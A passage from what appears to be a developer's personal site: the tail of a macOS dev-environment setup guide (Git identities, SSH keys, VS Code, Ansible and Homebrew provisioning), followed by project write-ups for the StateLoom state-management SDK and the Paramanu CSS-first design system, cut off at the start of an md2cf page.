#   - ~/.gitconfig-personal  if repo lives under ~/personal/
########################################

[user]
    name = Sujeet
    # Email NOT set here—forces work/personal to specify

[init]
    defaultBranch = main

[push]
    autoSetupRemote = true
    default = simple
    useForceIfIncludes = true

[pull]
    rebase = true

[fetch]
    prune = true

[rebase]
    autoStash = true

[rerere]
    enabled = true
    autoupdate = true

[column]
    ui = auto

[branch]
    sort = -committerdate

[commit]
    verbose = true

[alias]
    co = checkout
    br = branch
    st = status -sb
    ci = commit
    lg = log --oneline --graph --decorate --all
```

**Why no email in base config**: Forces explicit configuration per context. Committing with the wrong email to a work repo (or vice versa) is a compliance issue in some organizations.

**Why `pull.rebase = true`**: Creates a linear history by replaying local commits on top of upstream changes. Cleaner than merge commits for feature branches. `rebase.autoStash` handles uncommitted changes automatically.

**Why `push.useForceIfIncludes = true`** (Git 2.30+): Makes `--force-with-lease` safer by ensuring the remote tip was actually fetched locally, preventing accidental overwrites when the remote was updated between your last fetch and push.

**Why `rerere.enabled = true`**: "Reuse Recorded Resolution" remembers how you resolved merge conflicts and auto-applies the same resolution next time. Essential for long-running branches with repeated rebases.

**Why `fetch.prune = true`**: Automatically removes remote-tracking references to deleted branches. Keeps `git branch -r` clean.

**Why `branch.sort = -committerdate`**: Shows most recently committed branches first in `git branch` output. More useful than alphabetical sorting.

### Conditional Includes

```ini title=".gitconfig"
[includeIf "gitdir:~/work/"]
    path = ~/.gitconfig-work

[includeIf "gitdir:~/personal/"]
    path = ~/.gitconfig-personal

# Alternative: match by remote URL (Git 2.36+)
# [includeIf "hasconfig:remote.*.url:git@github.com:mycompany/**"]
#     path = ~/.gitconfig-company
```

Git evaluates `gitdir:` against the repository's `.git` directory path. Any repo under `~/work/` loads `.gitconfig-work`; repos under `~/personal/` load `.gitconfig-personal`.

**Available conditions** (as of Git 2.48):

| Condition                 | Since    | Use Case                    |
| ------------------------- | -------- | --------------------------- |
| `gitdir:`                 | Git 2.13 | Match by repo path          |
| `gitdir/i:`               | Git 2.13 | Case-insensitive (Windows)  |
| `onbranch:`               | Git 2.23 | Match by current branch     |
| `hasconfig:remote.*.url:` | Git 2.36 | Match by remote URL pattern |

The `hasconfig:remote.*.url:` condition is useful when repos aren't organized by directory but by remote (e.g., all `github.com/mycompany/*` repos should use work email regardless of local path).

### Personal Profile

```ini title=".gitconfig-personal"
[user]
    name = Sujeet
    email = contact@sujeet.pro
```

### Work Profile

```ini title=".gitconfig-work"
[user]
    name = Sujeet
    email = sujeet@company-name.com
```

## SSH Configuration

SSH config maps hosts to identity files, enabling different keys for different services.

```ini title=".ssh/config"
Host github.com
  HostName github.com
  User git
  IdentityFile ~/.ssh/id_ed25519_personal

Host bitbucket.org
  HostName bitbucket.org
  User git
  IdentityFile ~/.ssh/id_ed25519_work
```

**Why Ed25519**: Smaller keys (256-bit vs RSA's 2048+), faster operations, and no known weaknesses. Ed25519 is now the default recommendation from GitHub and GitLab. RSA is only needed for legacy systems that don't support modern algorithms.

**Key generation**:

```bash
ssh-keygen -t ed25519 -C "your_email@example.com"
```

This pattern extends to any service: add a `Host` block with the appropriate `IdentityFile`. For high-security environments, consider hardware security keys (YubiKey) which store the private key on the device.

## Editor Setup

### VS Code Configuration

```json title=".vscode/settings.json"
{
  "editor.fontFamily": "'JetBrains Mono', Menlo, Monaco, 'Courier New', monospace",
  "editor.fontSize": 16,
  "terminal.integrated.fontFamily": "'JetBrainsMono Nerd Font'",
  "terminal.integrated.fontSize": 14,
  "files.associations": {
    "**/.gitconfig-work": "properties",
    "**/.gitconfig-personal": "properties",
    "**/starship.toml": "toml",
    "**/.aws/credentials": "ini",
    "**/.aws/config": "ini"
  }
}
```

**Why separate fonts**: The editor uses JetBrains Mono (ligatures, readability). The integrated terminal uses the Nerd Font variant for icon support in `eza`, `starship`, etc.

### Recommended Extensions

| Extension                   | Purpose                   |
| --------------------------- | ------------------------- |
| `anthropic.claude-code`     | AI coding assistant       |
| `astro-build.astro-vscode`  | Astro framework support   |
| `bradlc.vscode-tailwindcss` | Tailwind CSS IntelliSense |
| `dbaeumer.vscode-eslint`    | ESLint integration        |
| `esbenp.prettier-vscode`    | Code formatting           |
| `humao.rest-client`         | HTTP client in editor     |
| `mrmlnc.vscode-json5`       | JSON5 syntax support      |
| `tamasfe.even-better-toml`  | TOML language support     |

## Automated Setup with Ansible

The entire configuration is applied via a single Ansible playbook.

### Prerequisites

```bash
# 1. Install Homebrew
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# 2. Install Ansible
brew install ansible

# 3. Clone the dot-files repo
git clone https://github.com/your-username/dot-files.git ~/dot-files
cd ~/dot-files
```

### Running the Playbook

```bash
ansible-playbook setup.yml --ask-become-pass
```

The playbook:

1. **Homebrew role**: Installs all CLI tools (formulae) and GUI applications (casks)
2. **Dotfiles role**: Creates directories, symlinks configs, sets SSH permissions, installs VS Code extensions

### Homebrew Packages

```yaml title="roles/homebrew/vars/main.yml"
homebrew_formulae:
  - aichat
  - ansible
  - awscli
  - bat
  - eza
  - fd
  - fnm
  - fzf
  - httpie
  - ripgrep
  - starship
  - tlrc
  - tree
  - zoxide
  - zsh-autosuggestions
  - zsh-syntax-highlighting

homebrew_casks:
  - cursor
  - visual-studio-code
  - chatgpt-atlas
  - claude
  - claude-code
  - zoom
  - maccy
  - rectangle
  - font-jetbrains-mono
  - font-jetbrains-mono-nerd-font
```

### Dotfiles Symlinking

```yaml title="roles/dotfiles/vars/main.yml"
dotfiles_links:
  - src: ".zshrc"
    dest: ".zshrc"
  - src: ".gitconfig"
    dest: ".gitconfig"
  - src: ".gitconfig-personal"
    dest: ".gitconfig-personal"
  - src: ".gitconfig-work"
    dest: ".gitconfig-work"
  - src: ".config/starship.toml"
    dest: ".config/starship.toml"
  - src: ".ssh/config"
    dest: ".ssh/config"
```

Symlinks point from `~/.zshrc` → `~/dot-files/.zshrc`. Changes in either location reflect immediately. The repo is the source of truth; push changes to propagate across machines.

## Productivity Applications

### Window Management

**Rectangle** (`rectangle` cask): Keyboard-driven window tiling. `Ctrl+Option+←` snaps to left half; `Ctrl+Option+→` snaps to right. Eliminates mouse-based window arrangement.

### Clipboard Manager

**Maccy** (`maccy` cask): Clipboard history with fuzzy search. `Cmd+Shift+C` opens history; type to filter; Enter to paste. Essential when copying multiple items.

### AI Tools

| Tool                 | Purpose                                          |
| -------------------- | ------------------------------------------------ |
| `aichat`             | CLI interface to multiple LLMs (aliased to `ai`) |
| Claude (desktop app) | Conversational AI assistant                      |
| Claude Code          | AI coding agent for terminal                     |
| ChatGPT Atlas        | Browser with ChatGPT integration                 |

## Conclusion

This setup optimizes for:

- **Reproducibility**: One Ansible command provisions a new machine
- **Context isolation**: Git commits, SSH keys, and directory structure enforce work/personal separation
- **Keyboard efficiency**: Fuzzy finders, aliases, and tiling window managers minimize mouse usage
- **Modern tooling**: CLI replacements that are faster and produce better output

The configuration is opinionated but modular. Swap version managers, remove unused language indicators, or add new Homebrew packages by editing the respective YAML files.

## Appendix

### Prerequisites

- macOS 13+ with Apple Silicon (M1/M2/M3/M4); Intel requires path adjustments (`/usr/local` instead of `/opt/homebrew`)
- Homebrew installed
- zsh 5.1+ (macOS ships with zsh 5.9 as of macOS 14)
- Basic familiarity with shell configuration and Git

### Terminology

- **Frecency**: Frequency + recency ranking algorithm used by zoxide; balances how often and how recently a directory was visited
- **Nerd Font**: Font patched with 3000+ icons for terminal display (file types, git status, language logos)
- **Shim**: Wrapper script that intercepts commands and routes to the correct version; used by version managers like fnm and pyenv
- **rerere**: "Reuse Recorded Resolution"—Git feature that remembers conflict resolutions for automatic reapplication
- **compinit**: Zsh completion initialization; generates and caches completion definitions

### Summary

- Ansible playbook automates full environment setup from a fresh macOS install
- `.zshrc` loads version managers, configures history, enables fuzzy search and autosuggestions; targets sub-100ms startup
- Static Homebrew paths and daily compinit caching eliminate common startup bottlenecks
- Starship prompt shows git status and language versions with ~10ms render time
- Git conditional includes (`gitdir:`, `hasconfig:remote.*.url:`) load different identities based on repo location or remote URL
- SSH config maps hosts to Ed25519 identity files for work/personal key separation
- Modern CLI tools (`eza`, `bat`, `ripgrep`, `fzf`, `zoxide`, `fd`) replace legacy UNIX utilities
- fnm replaces Volta for Node.js version management (Volta is now unmaintained)

### References

- [Git Configuration Documentation](https://git-scm.com/docs/git-config) - Official Git config reference including conditional includes
- [Zsh Options](https://zsh.sourceforge.io/Doc/Release/Options.html) - Complete list of setopt flags
- [Zsh Completion System](https://zsh.sourceforge.io/Doc/Release/Completion-System.html) - compinit and zstyle reference
- [Starship Configuration](https://starship.rs/config/) - Prompt customization reference
- [fzf Shell Integration](https://junegunn.github.io/fzf/shell-integration/) - Modern shell setup (v0.48.0+)
- [zoxide Algorithm](https://github.com/ajeetdsouza/zoxide/wiki/Algorithm) - Frecency ranking explanation
- [fnm Documentation](https://github.com/Schniz/fnm) - Fast Node Manager setup and usage
- [eza Documentation](https://eza.rocks/) - Modern ls replacement (exa fork)
- [Ansible Homebrew Module](https://docs.ansible.com/ansible/latest/collections/community/general/homebrew_module.html) - Package installation
- [Volta Deprecation Notice](https://github.com/volta-cli/volta/issues/2080) - Migration guidance to mise/fnm

# PROJECTS

---

## StateLoom

**URL:** https://sujeet.pro/projects/stateloom
**Description:** Frontend state management is fragmented. Teams pick Zustand for stores, Jotai for atoms, or Valtio for proxies — then discover they can’t share middleware, mix paradigms, or migrate between frameworks without rewriting state logic. Each library implements its own reactivity model, its own persistence story, and its own SSR workarounds. StateLoom unifies all three paradigms on a single signal-based reactive core, with framework adapters for React, Vue, Solid, Svelte, and Angular, and composable middleware for persistence, devtools, sync, and more.The core thesis: the signal graph is the universal primitive for state management. Stores, atoms, and proxies are all compositions of signals and computed values. By building on a ~1.5 KB push-pull hybrid core aligned with the TC39 Signals proposal, StateLoom achieves paradigm unification without paradigm compromise — pick the mental model that fits your problem, use it in any framework, and compose cross-cutting concerns as independent middleware packages.

# StateLoom

Frontend state management is fragmented. Teams pick Zustand for stores, Jotai for atoms, or Valtio for proxies — then discover they can't share middleware, mix paradigms, or migrate between frameworks without rewriting state logic. Each library implements its own reactivity model, its own persistence story, and its own SSR workarounds. StateLoom unifies all three paradigms on a single signal-based reactive core, with framework adapters for React, Vue, Solid, Svelte, and Angular, and composable middleware for persistence, devtools, sync, and more.

The core thesis: the signal graph is the universal primitive for state management. Stores, atoms, and proxies are all compositions of signals and computed values. By building on a ~1.5 KB push-pull hybrid core aligned with the TC39 Signals proposal, StateLoom achieves paradigm unification without paradigm compromise — pick the mental model that fits your problem, use it in any framework, and compose cross-cutting concerns as independent middleware packages.

## Overview

<figure>

![StateLoom's 5-layer architecture: a signal-based reactive core (Layer 1) supports three paradigm adapters (Layer 2), five framework adapters (Layer 3), composable middleware (Layer 4), and platform-specific backends (Layer 5). Dependencies flow strictly downward.](./stateloom-s-5-layer-architecture-a-signal-based-reactive-core-layer-1-supports-t.svg)

<figcaption>StateLoom's 5-layer architecture: a signal-based reactive core (Layer 1) supports three paradigm adapters (Layer 2), five framework adapters (Layer 3), composable middleware (Layer 4), and platform-specific backends (Layer 5). Dependencies flow strictly downward.</figcaption>
</figure>

## What It Does

StateLoom is a universal state management SDK published as 18 packages under the `@stateloom/*` npm scope. It provides three distinct API paradigms — all backed by the same reactive dependency graph:

**Store paradigm** (`@stateloom/store`) — A Zustand-style single-object store with actions, selectors, and full middleware support. Best for app-wide state where actions and state live together.

**Atom paradigm** (`@stateloom/atom`) — A Jotai-style bottom-up composition model with base atoms, derived atoms, writable atoms, and atom families. Best for fine-grained derived state where each piece of data is independently subscribable.

**Proxy paradigm** (`@stateloom/proxy`) — A Valtio-style mutable proxy with structural sharing snapshots. Mutate state with normal JavaScript assignment syntax while the proxy tracks changes and produces immutable snapshots for rendering.

Each paradigm translates its API into operations on core signals. Framework adapters (React, Vue, Solid, Svelte, Angular) bridge the universal `Subscribable<T>` interface to framework-specific reactivity — each adapter is 50-200 lines of code. Middleware packages (persistence, devtools, history, tab-sync, telemetry) compose into a pipeline around state operations without coupling to any paradigm or framework.

## Why It Exists

The JavaScript state management ecosystem has converged on three dominant patterns — stores (Zustand/Redux), atoms (Jotai/Recoil), and proxies (Valtio/MobX) — but each pattern lives in its own library with its own reactivity model, its own persistence strategy, and its own SSR story.

This creates several concrete problems for teams:

**Paradigm lock-in.** Choosing Zustand for stores means you can't use Jotai-style derived atoms without adding a second library with a completely separate reactive graph. State that crosses paradigm boundaries requires manual synchronization.

**Framework lock-in.** Most state libraries have first-class React support and afterthought adapters (or none) for other frameworks. Teams running multiple frameworks — or migrating between them — end up rewriting state management logic.

**Middleware fragmentation.** Each library has its own persistence plugin, its own devtools integration, and its own middleware API. A `persist` middleware built for Zustand doesn't work with Jotai. Cross-cutting concerns get reimplemented per library.

**SSR as an afterthought.** Many state libraries use module-level singletons, causing the "shared store in serverless" bug class where state from one request leaks into another. Fixing this requires per-request store creation patterns that break the library's design assumptions.

StateLoom addresses these by grounding all paradigms in a single reactive core. The `Subscribable<T>` contract (`get()` + `subscribe()`) lets framework adapters and middleware work identically across stores, atoms, and proxies. The `Scope` model provides per-request isolation as a core primitive, not a bolted-on pattern.

## How It Works

### Reactive Core: Push-Pull Hybrid

The core implements four primitives — `signal`, `computed`, `effect`, and `batch` — using a push-pull hybrid algorithm aligned with the approach proven by Preact Signals.

When `signal.set()` is called, the **push phase** eagerly marks downstream nodes as dirty through the dependency graph using a doubly-linked list structure. Signals mark their direct subscribers `DIRTY`. Computed nodes relay the mark as `MAYBE_DIRTY` to their own subscribers — indicating "my source might have changed, but I haven't recomputed yet."

The **pull phase** fires when a computed value is actually read. If marked `MAYBE_DIRTY`, the computed checks its source versions against its cached copies. If no source actually changed (the upstream recomputation produced the same value), the computed returns its cached result without recomputing. This avoids unnecessary work in diamond-shaped dependency graphs.

Batching coalesces multiple signal writes into a single notification cycle. Values update immediately (reads within a batch see new values), but subscriber notifications and effect re-execution are deferred until the outermost batch completes. Nested batches are safe — only the outermost completion triggers the flush.

### Middleware Pipeline

The store middleware system uses an `onSet` interception chain built bottom-up. Each middleware wraps the next `set` function in the pipeline:

```typescript title="middleware-composition.ts" collapse={1-2}
// Conceptual: built during createStore initialization
let chain = rawSet;
for (let i = middlewares.length - 1; i >= 0; i--) {
  const mw = middlewares[i];
  if (mw.onSet) {
    const nextSet = chain;
    chain = (partial) => mw.onSet(api, nextSet, partial);
  }
}
```

This gives middleware full control over state writes — the `persist` middleware can debounce writes to storage, the `devtools` middleware can snapshot state before and after, and the `history` middleware can push undo entries — all without any middleware knowing about the others.

### SSR Scope Model

The `Scope` primitive provides per-request state isolation. Each scope maintains a `Map<Subscribable, value>` that overrides global signal values within that scope's execution context. `fork()` creates child scopes that inherit parent values. `serialize()` extracts the scope's state for client hydration using stable keys.

On the server, `@stateloom/server` adds TTL-based eviction and LRU capacity limits for managed scopes, preventing memory leaks under load.

## Key Features

| Feature | Description |
| --- | --- |
| **~1.5 KB core** | Signal, computed, effect, batch, and scope in a tree-shakeable core with zero platform API dependencies |
| **Three paradigms, one graph** | Store (Zustand-style), Atom (Jotai-style), and Proxy (Valtio-style) all backed by the same signal dependency graph |
| **Five framework adapters** | Thin, idiomatic adapters for React (`useSyncExternalStore`), Vue (`shallowRef`), Solid (`createSignal`), Svelte (`$store` contract), and Angular (`Observable` + DI) |
| **Composable middleware** | Persistence (localStorage, sessionStorage, IndexedDB, cookies, Redis), devtools (Redux DevTools protocol), history (undo/redo), tab-sync (BroadcastChannel), Immer integration, and telemetry |
| **SSR-first scopes** | Per-request isolation via `Scope` with fork, serialize, and framework-level `ScopeProvider` components — no shared mutable state between server requests |
| **TC39 Signals alignment** | Core API matches the TC39 Signals proposal (Stage 1), enabling future delegation to native engine signals with zero API changes |
| **TypeScript-first** | Strict types with full inference, no `any`, no enums, named exports only. Types flow through middleware composition and selector chains |
| **Structural typing for middleware** | Middleware declares its own `MiddlewareAPI<T>` that structurally matches the store, avoiding runtime imports and keeping middleware framework-agnostic |

## Getting Started

Install the core and the packages for your paradigm and framework:

```bash title="install.sh"
# Store paradigm + React (most common)
pnpm add @stateloom/core @stateloom/store @stateloom/react

# Atom paradigm (bottom-up composition)
pnpm add @stateloom/core @stateloom/atom

# Proxy paradigm (mutable syntax)
pnpm add @stateloom/core @stateloom/proxy
```

Create a store with the Zustand-style API:

```typescript title="counter-store.ts"
import { createStore } from '@stateloom/store';

const counterStore = createStore((set) => ({
  count: 0,
  increment: () => set((state) => ({ count: state.count + 1 })),
  reset: () => set({ count: 0 }),
}));

counterStore.getState().increment();
console.log(counterStore.getState().count); // 1
```

Use it in React:

```typescript title="Counter.tsx" collapse={1-2}
import { useStore } from '@stateloom/react';
import { counterStore } from './counter-store';

function Counter() {
  const count = useStore(counterStore, (s) => s.count);
  const increment = useStore(counterStore, (s) => s.increment);
  return <button onClick={increment}>Count: {count}</button>;
}
```

Add middleware for persistence and devtools:

```typescript title="counter-store-with-middleware.ts" collapse={1-3}
import { createStore } from '@stateloom/store';
import { persist, localStorageBackend } from '@stateloom/persist';
import { devtools } from '@stateloom/devtools';

const counterStore = createStore(
  (set) => ({
    count: 0,
    increment: () => set((s) => ({ count: s.count + 1 })),
  }),
  {
    middleware: [
      persist({ key: 'counter', storage: localStorageBackend() }),
      devtools({ name: 'Counter' }),
    ],
  }
);
```

Or use the atom paradigm for fine-grained derived state:

```typescript title="atoms.ts"
import { atom, derived } from '@stateloom/atom';

const countAtom = atom(0);
const doubledAtom = derived((get) => get(countAtom) * 2);

countAtom.set(5);
console.log(doubledAtom.get()); // 10
```

## Appendix

### Tech Stack

| Component | Technology |
| --- | --- |
| **Language** | TypeScript (strict mode, `verbatimModuleSyntax`) |
| **Reactive core** | Custom push-pull hybrid signal graph (~1.5 KB gzipped) |
| **Build** | tsup (per-package ESM + CJS dual output) |
| **Monorepo** | pnpm workspaces + Turborepo (parallel builds, caching) |
| **Testing** | Vitest (95% coverage target) |
| **Linting** | ESLint 9 + typescript-eslint |
| **Documentation** | VitePress with Mermaid plugin |
| **Versioning** | Changesets (independent package versioning) |
| **CI** | GitHub Actions |

### References

- [StateLoom GitHub Repository](https://github.com/sujeet-pro/stateloom)
- [StateLoom on npm](https://www.npmjs.com/org/stateloom)
- [StateLoom Documentation](https://projects.sujeet.pro/stateloom/)
- [TC39 Signals Proposal](https://github.com/tc39/proposal-signals)
- [Preact Signals — Push-Pull Hybrid Reactivity](https://preactjs.com/blog/signal-boosting)
- [Zustand](https://github.com/pmndrs/zustand) — Store paradigm influence
- [Jotai](https://github.com/pmndrs/jotai) — Atom paradigm influence
- [Valtio](https://github.com/pmndrs/valtio) — Proxy paradigm influence
- [Effector Fork API](https://effector.dev/docs/api/effector/fork/) — SSR scope model influence

---

## Paramanu

**URL:** https://sujeet.pro/projects/paramanu
**Description:** Design systems promise consistency and velocity, but most implementations force a hard choice: adopt a framework-coupled component library (Chakra, MUI, Radix) and accept the lock-in, or maintain raw CSS that drifts between projects. Teams running multiple frameworks — or migrating between them — end up duplicating component logic across bindings. Paramanu takes a different path: CSS-first components with a dual API (BEM class strings for any template engine or CDN, CSS Modules for bundler-based tree shaking), a three-tier token system for deep theming, and thin framework adapters that are generated rather than hand-written. The result is a design system where the styling layer is the source of truth, not the JavaScript framework.Published as 22 packages under the @paramanu/* npm scope, Paramanu targets WCAG 2.2 AA compliance as a core constraint — not an afterthought addon. Built-in themes (Material, Ant Design, Bootstrap, Light Modern, Dark Modern) demonstrate that the token architecture handles real-world brand mappings, not just color swaps.

# Paramanu

Design systems promise consistency and velocity, but most implementations force a hard choice: adopt a framework-coupled component library (Chakra, MUI, Radix) and accept the lock-in, or maintain raw CSS that drifts between projects. Teams running multiple frameworks — or migrating between them — end up duplicating component logic across bindings. Paramanu takes a different path: CSS-first components with a dual API (BEM class strings for any template engine or CDN, CSS Modules for bundler-based tree shaking), a three-tier token system for deep theming, and thin framework adapters that are generated rather than hand-written. The result is a design system where the styling layer is the source of truth, not the JavaScript framework.

Published as 22 packages under the `@paramanu/*` npm scope, Paramanu targets WCAG 2.2 AA compliance as a core constraint — not an afterthought addon. Built-in themes (Material, Ant Design, Bootstrap, Light Modern, Dark Modern) demonstrate that the token architecture handles real-world brand mappings, not just color swaps.

## Overview

<figure>

![Paramanu's layered architecture: design tokens (Level 0) flow into layout primitives and typography (Level 1), which compose into domain components (Level 2) and complex overlays (Level 3). React adapters and CDN bundles sit at the edges as consumers, not owners, of the styling layer.](./paramanu-s-layered-architecture-design-tokens-level-0-flow-into-layout-primitive.svg)

<figcaption>Paramanu's layered architecture: design tokens (Level 0) flow into layout primitives and typography (Level 1), which compose into domain components (Level 2) and complex overlays (Level 3). React adapters and CDN bundles sit at the edges as consumers, not owners, of the styling layer.</figcaption>
</figure>

## What It Does

Paramanu provides a complete component library across 11 functional categories — primitives, typography, buttons, forms, navigation, data display, feedback, disclosure, overlays, and utilities — each published as a standalone npm package with its own CSS and class builder.

**Dual API for every component.** Each component exposes two consumption modes from the same source:

- **BEM class builders** (`btnClasses({ variant: "danger", size: "lg" })` returns `"pm-btn pm-btn--danger pm-btn--lg"`) — use these in any templating language, server-rendered HTML, or CDN-based projects. No build step required.
- **CSS Module class builders** (`btnModuleClasses(styles, { variant: "danger" })`) — use these with bundlers that process CSS modules for scoped, collision-free class names with tree shaking.

**Three-tier design token system.** Tokens flow through three layers, each compilable independently via Style Dictionary:

1. **Primitive tokens** — Raw values: colors (full palette), spacing scale, typography scale, border radii, shadows.
2. **Semantic tokens** — Purpose-mapped: `--pm-color-bg`, `--pm-color-fg`, `--pm-color-border`, with automatic light/dark mode via CSS `light-dark()`.
3. **Component tokens** — Per-component overrides: `--pm-btn-bg`, `--pm-btn-radius`, `--pm-btn-padding`. Themes override at this level to restyle components without touching CSS rules.

**Framework adapters.** React adapters wrap each component with `forwardRef`, mapping component props to class builder calls. The adapter pattern is intentionally thin — the `-react` packages are consumers of `-js` packages, not reimplementations.

## Why It Exists

Most design systems are born inside a specific framework. Chakra UI, MUI, and Radix Primitives are React-first — their styling, state management, and accessibility logic live in React hooks and components. This works until:

**The framework changes.** A migration from React to another framework means rewriting every component. The design system's value — consistency, accessibility, tested behavior — doesn't transfer.

**Multiple frameworks coexist.** Large organizations running React in one product and Vue or plain HTML in another can't share a Chakra component library. They end up maintaining parallel implementations that inevitably drift.

**CSS is not the source of truth.** When styling logic lives in JavaScript (CSS-in-JS, styled-components, Tailwind utility classes in JSX), the CSS becomes an artifact of the framework layer. Extracting it for a different consumer — an email template, a static page, a web component — requires reverse-engineering the styling from the JS.

Paramanu inverts this: CSS is the source of truth. Components are defined as CSS rules organized in `@layer pm.components`, with BEM class names as the public API. JavaScript class builders are type-safe mappers from props to class strings — they don't contain styling logic. This means:

- A React app imports `@paramanu/buttons-react` and gets a typed `<Btn>` component.
- A server-rendered Astro page calls `btnClasses()` directly and applies the same styles.
- A CDN consumer loads a single IIFE bundle and writes `class="pm-btn pm-btn--primary"` in HTML.

All three consume the same CSS. No divergence.

## How It Works

### CSS Layer Architecture

All Paramanu styles are scoped within CSS `@layer` declarations following a strict ordering:

```css title="layer-order.css"
@layer pm.reset, pm.tokens, pm.base, pm.components, pm.utilities;
```

This guarantees that component styles override base styles, utility overrides beat component defaults, and consumer styles (outside any `@layer`) always win. The layer model eliminates specificity wars and makes theme overrides predictable.

### Token Compilation Pipeline

Tokens are authored in the W3C Design Token Community Group (DTCG) format as JSON files. Style Dictionary compiles these into:

- **CSS custom properties** — Injected into `:root` and scoped via `[data-theme]` attribute selectors.
- **JavaScript exports** — Named constants for programmatic use in class builders and tests.
- **Theme overrides** — Each theme (Material, Ant Design, Bootstrap, Light Modern, Dark Modern) provides its own token JSON that maps to the same semantic and component token names, producing a CSS file that re-declares custom properties under its `[data-theme]` scope.

Light/dark mode uses the CSS `light-dark()` function at the semantic token level, eliminating media query duplication and enabling per-component color scheme control.

### Class Builder Pattern

Every component's class builder is a pure function: props in, class string out. No side effects, no DOM access, no framework coupling.

```typescript title="button.classes.ts"
export function btnClasses(options: BtnClassesOptions = {}): string {
  const { variant = "default", size = "md", disabled, loading } = options;
  return [
    "pm-btn",
    `pm-btn--${variant}`,
    `pm-btn--${size}`,
    disabled && "pm-btn--disabled",
    loading && "pm-btn--loading",
  ].filter(Boolean).join(" ");
}
```

The CSS Module variant takes an imported `styles` map as the first argument and resolves class names through it, producing hashed class names for bundler consumers while maintaining the same prop-to-class mapping logic.

### Build Pipeline

Each package follows a two-stage build:

1. **CSS stage** — A `css.build.ts` script processes `.css` and `.module.css` files through lightningcss for minification, autoprefixing, and CSS Module hash generation.
2. **JS stage** — tsup bundles TypeScript class builders, types, and React wrappers into ESM output.

Turborepo orchestrates the full monorepo build with dependency-aware parallelism. The CDN package runs last, bundling all CSS and JS into a single IIFE via esbuild.

## Key Features

| Feature | Description |
| --- | --- |
| **CSS-first architecture** | Styling logic lives in CSS `@layer` declarations, not in JavaScript. Class builders are thin mappers, not style generators |
| **Dual API** | BEM classes for templates/CDN + CSS Modules for bundlers — same props, same styles, different consumption modes |
| **Three-tier tokens** | Primitive, semantic, and component-level tokens compiled from DTCG JSON via Style Dictionary |
| **Five built-in themes** | Material, Ant Design, Bootstrap, Light Modern, and Dark Modern — proving the token architecture handles real brand systems |
| **WCAG 2.2 AA** | Accessibility baked into component CSS and tested with vitest-browser + axe-core. Focus management, ARIA patterns, and color contrast are first-class |
| **Tree-shakeable imports** | Import only the components you use: `@paramanu/buttons-js/css/button` loads just button CSS |
| **Framework-agnostic core** | React adapters shipped now; Vue, Svelte, Angular adapters follow the same thin `forwardRef` + class builder pattern |
| **CDN-ready bundle** | Single IIFE file with all CSS and JS for projects without a build step |
| **lightningcss processing** | Fast CSS compilation with automatic vendor prefixing and CSS Module hash generation |
| **Storybook playgrounds** | Separate Storybook instances for React components (port 6006) and vanilla HTML (port 6007) |

## Getting Started

Install the token foundation and the component packages you need:

```bash title="install.sh"
# Tokens + buttons (minimal)
pnpm add @paramanu/tokens @paramanu/buttons-js

# With React adapter
pnpm add @paramanu/tokens @paramanu/buttons-js @paramanu/buttons-react

# Full component set
pnpm add @paramanu/tokens @paramanu/primitives-js @paramanu/typography-js @paramanu/buttons-js @paramanu/forms-js @paramanu/navigation-js @paramanu/data-display-js @paramanu/feedback-js @paramanu/overlays-js
```

Import the CSS layer order and tokens first, then component CSS:

```typescript title="main.ts"
// Foundation (must be first)
import "@paramanu/tokens/css/layer-order";
import "@paramanu/tokens/css/reset";
import "@paramanu/tokens/css";

// Optional: theme (e.g., Material)
import "@paramanu/tokens/css/themes";

// Component CSS
import "@paramanu/buttons-js/css";
```

Use with React:

```tsx title="App.tsx" collapse={1-2}
import { Btn } from "@paramanu/buttons-react";
import { Flex } from "@paramanu/primitives-react";

function App() {
  return (
    <Flex gap="md" align="center">
      <Btn variant="primary" size="lg" onClick={handleSave}>
        Save
      </Btn>
      <Btn variant="outline" leftIcon={<SearchIcon />}>
        Search
      </Btn>
      <Btn loading loadingText="Submitting...">
        Submit
      </Btn>
    </Flex>
  );
}
```

Use without a framework:

```html title="index.html"
<link rel="stylesheet" href="paramanu-bundle.css" />
<script src="paramanu-bundle.iife.js"></script>

<button class="pm-btn pm-btn--primary pm-btn--lg">Save</button>
<button class="pm-btn pm-btn--outline">
  <span class="pm-btn-icon">🔍</span> Search
</button>
```

Apply a theme by setting a `data-theme` attribute:

```html title="theming.html"
<!-- Ant Design theme -->
<body data-theme="antd">
  <button class="pm-btn pm-btn--primary">Ant Design styled</button>
</body>

<!-- Material theme for a section -->
<section data-theme="material">
  <button class="pm-btn pm-btn--primary">Material styled</button>
</section>
```

## Appendix

### Tech Stack

| Component | Technology |
| --- | --- |
| **Language** | TypeScript 5.x (strict mode) |
| **Styling** | CSS custom properties, `@layer`, `light-dark()`, BEM methodology |
| **Token compiler** | Style Dictionary (DTCG format) |
| **CSS processing** | lightningcss (minification, autoprefixing, CSS Modules) |
| **JS bundler** | tsup (ESM output) + esbuild (CDN IIFE bundle) |
| **Monorepo** | pnpm workspaces + Turborepo |
| **Testing** | Vitest 4.x + @vitest/browser + Playwright + axe-core |
| **Documentation** | Astro 5.x + Starlight |
| **Component dev** | Storybook 10.x (React + vanilla HTML instances) |
| **Code quality** | ESLint 9.x + Prettier |
| **React support** | React 18.x–19.x (peer dependency) |

### References

- [Paramanu GitHub Repository](https://github.com/sujeet-pro/paramanu)
- [Paramanu on npm](https://www.npmjs.com/org/paramanu)
- [W3C Design Token Community Group Format](https://design-tokens.github.io/community-group/format/)
- [Style Dictionary](https://amzn.github.io/style-dictionary/)
- [lightningcss](https://lightningcss.dev/)
- [CSS `@layer` Specification](https://www.w3.org/TR/css-cascade-5/#layering)
- [CSS `light-dark()` Function](https://developer.mozilla.org/en-US/docs/Web/CSS/color_value/light-dark)
- [WCAG 2.2 — W3C Recommendation](https://www.w3.org/TR/WCAG22/)
- [BEM Methodology](https://getbem.com/)

---

## md2cf

**URL:** https://sujeet.pro/projects/md2cf
**Description:** Engineering teams write documentation in Markdown because it lives alongside code, diffs cleanly in pull requests, and works with every editor. But many organizations mandate Confluence as the single source of truth for internal documentation. md2cf bridges this gap — it converts Markdown to Atlassian Document Format (ADF) and publishes directly to Confluence Cloud via the REST API v2, so teams can author in Markdown and publish to Confluence without ever opening the wiki editor.md2cf works as both a CLI tool and a Node.js library. Point it at a Markdown file, a remote URL, or an entire folder, and it handles conversion, page creation, updates, and even Mermaid diagram rendering. It fits naturally into CI/CD pipelines for automated documentation deployment.

# md2cf

